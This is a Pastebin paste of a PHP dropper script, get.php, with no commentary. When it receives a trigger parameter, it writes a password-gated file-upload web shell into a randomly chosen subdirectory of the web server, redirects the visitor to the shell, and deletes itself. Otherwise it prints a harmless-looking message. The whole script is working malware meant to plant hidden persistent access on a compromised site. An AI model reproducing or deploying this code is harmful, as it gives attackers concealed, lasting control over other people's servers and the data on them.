Advertisement
PalmaSolutions

get.php

Sep 30th, 2018
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.70 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['fuck']) &&  $_GET['fuck'] == '1'){
  3. $name='simple.php';//要生成的文件名
  4. $canshuStr = str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890');
  5. $canshu = substr($canshuStr,0,6);
  6. function getDir($dir) {
  7.     $dirArray[]=NULL;
  8.     if (false != ($handle = opendir ( $dir ))) {
  9.         $i=0;
  10.         while ( false !== ($file = readdir ( $handle )) ) {
  11.             if ($file != "." && $file != ".."&& $file != ".htaccess"&&!strpos($file,".")&&!strpos($file,"log")&&!strpos($file,"error")&&!strpos($file,"cgi")&&!strpos($file,"bin")) {
  12.                 $dirArray[$i]=$file;
  13.                 $i++;
  14.             }
  15.         }
  16.         closedir ( $handle );
  17.     }
  18.     return $dirArray;
  19. }
  20. $file= '<?php if($_GET["login"]=="'.$canshu.'"){if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<b>Upload Complate !!!</b><br>"; }'.' echo'." '".'<form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" size="50"><input type="submit" value="submit"/></form>'."';} ?>";
  21. $home = $_SERVER['SERVER_NAME'];
  22. $cat1=getDir("./");
  23. $max1=count($cat1);
  24. $id=rand(0,$max1-1);
  25. $path1=$cat1[$id];
  26. $cat2=getDir("./".$path1);
  27. if($cat2[0]!= null){
  28.     $max2=count($cat2);
  29.     $id=rand(0,$max2-1);
  30.     $path2=$cat2[$id];
  31.     $path=$path1."/".$path2."/".$name;
  32.     file_put_contents($path,$file);
  33.     $url1 = "http://".$home."/".$path."?login=".$canshu;
  34.     echo '<meta http-equiv="Refresh" content="0; url='.$url1.'">';
  35. }else{
  36.     $path=$path1."/".$name;
  37.     file_put_contents($path,$file);
  38.     $url2 = "http://".$home."/".$path."?login=".$canshu;
  39.     echo '<meta http-equiv="Refresh" content="0; url='.$url2.'">';
  40. }
  41. unlink("./get.php");
  42. }else{
  43.     echo "the file is ok....";
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement